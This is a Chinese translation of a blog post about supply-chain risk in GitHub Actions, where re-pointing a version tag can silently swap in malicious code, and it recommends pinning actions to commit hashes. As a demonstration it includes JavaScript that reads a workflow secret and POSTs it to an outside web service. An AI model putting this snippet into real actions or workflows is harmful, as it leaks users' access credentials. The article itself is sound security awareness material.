GitHub Action 有风险?!

GitHub 的 action 中有可能插入了恶意代码,即便有些加了标签。

作者 | Julien Renaux

译者 | 弯月,责编 | 屠敏

出品 | CSDN(ID:CSDNnews)

以下为译文:

一切始于12月中旬我发布的一条推文:

我有一种预感,使用从Github  marketplace中找到的Actions有可能会泄露敏感数据,例如访问令牌等。

问题

你可以在GitHub 的 Marketplace 发现很多流行的 Action,而它们在执行任务时都需要秘钥。

例如,如果想构建一个 Docker 镜像并发布到镜像仓库,你可以使用Action:elgohr/Publish-Docker-Github-Action。这是执行这类任务时最受欢迎的action,但它不是GitHub创建的,也并非由GitHub维护。

仔细阅读这个action的文档,你会发现它需要 docker 镜像仓库的用户名和密码。

- name: Publish to Registry
  uses: elgohr/[email protected]
  with:
    name: myDocker/repository
    username: ${{ secrets.DOCKER_USERNAME }}
    password: ${{ secrets.DOCKER_PASSWORD }}

我们中有多少人会去查看action的代码,检查其中是否包含恶意代码?我猜没有人会这么做。我们都会自动相信作者。

想象一下,几年来GitHub上成千上万的工作流程都是用了这个 action。

如果我们信赖的这位作者决定让其他人来负责这些代码的后续支持(开源行业经常会发生这种事情),那么将来会发生什么?

任何一个维护人员都可以更新分支或标签

这就是问题所在!

为了向你展示这个问题,我创建了一个action:shprink/nonharmful-and-must-have-actions。这个action看起来很合法,名字似乎也值得信赖。

使用它的时候,你需要传入一个密钥:

- uses: shprink/[email protected]
    with:
    my-secret: ${{ secrets.YOUR_SECRET }}

代码(见下文)其实什么都没有干,它获取了密钥,然后干了一些合法的事情(发布docker镜像、npm包等)。 

try {
  const mySecret = core.getInput("my-secret");
  console.log(`DO SOMETHING REALLY COOL WITH THE SECRET FOR YEARS`);
} catch (error) {
  core.setFailed(error.message);
}

这个 action 被标记为v1。 不幸的是,标签可以用Git进行替换。 

为此,首先你需要在本地删除这个标签,然后通过如下命令远程删除它:

$ git tag -d v1
$ git push --delete origin v1

接下来,我们可以添加恶意代码,例如将密钥发送到Web服务:

try {
  const mySecret = core.getInput("my-secret");
  console.log(`ATTEMPTING TO STORE THE SECRET VIA AN HTTP CALL`);
  request.post(
    "https://jsonplaceholder.typicode.com/posts",
    {
      json: {
        title: "store my stolen secret somewhere",
        body: mySecret,
        userId: 1
      },
      headers: { "Content-type": "application/json; charset=UTF-8" }
    },
    (error, res, body) => {
      if (error) {
        console.error(error);
        return;
      }
      console.log(`SUCCESSFULLY STORE SOMEONE SECRET`, res.statusCode, body);
    }
  );
} catch (error) {
  core.setFailed(error.message);
}

当 action 的用户重新运行他们的工作流程时,他们将使用“新” v1,因此他们宝贵的密钥就会被泄露。

解决方案:使用提交哈希作为版本

正如GitHub上的@AlainHelaili在Twitter上提到的那样,你不应该checkout分支或标签(这两者都不安全),你应该checkout提交哈希: 

每个哈希都是唯一的,而且你不能使用同一个SHA-1重写历史记录。

这是一个很好的解决方案,但是我没有看到任何文档鼓励这种做法。我看过的所有文档都使用分支或标签…

从历史教训中学习经验

不久前,NPM的left-pad出现了完全相同的问题,该软件包从npm仓库中撤下后,整个互联网都被破坏。

没过多久,npm就决定修改撤销政策。 

修改后的原则是,24小时之后不能撤销某个版本,而且也不能替换以前用过的标签。

我认为GitHub应该遵循相同的方式,防止用户取消版本发布或替换标签。

原文:https://julienrenaux.fr/2019/12/20/github-actions-security-risk/

本文为 CSDN 翻译,转载请注明来源出处。

热 文 推 荐 

☞达摩院十大科技趋势发布:2020 非同小可!

为什么很多程序员没有升级到架构师?

如何通过 Web 实现防御木马、病毒...... | 原力计划

2019 年被“杀”死的那些技术!

暴力裁员、爬虫被抓、QQ 注销……2019 年程序员大事记

大数据中台之Kafka,到底好在哪里?

新年首日涨姿势不能停:召回→排序→重排技术演进趋势深度总结

区块链岛”女记者调挖矿事件时惨遭暗杀,时隔2年依旧无法沉冤昭雪……

你点的每个“在看”,我都认真当成了喜欢

原文链接:加载失败,请重新获取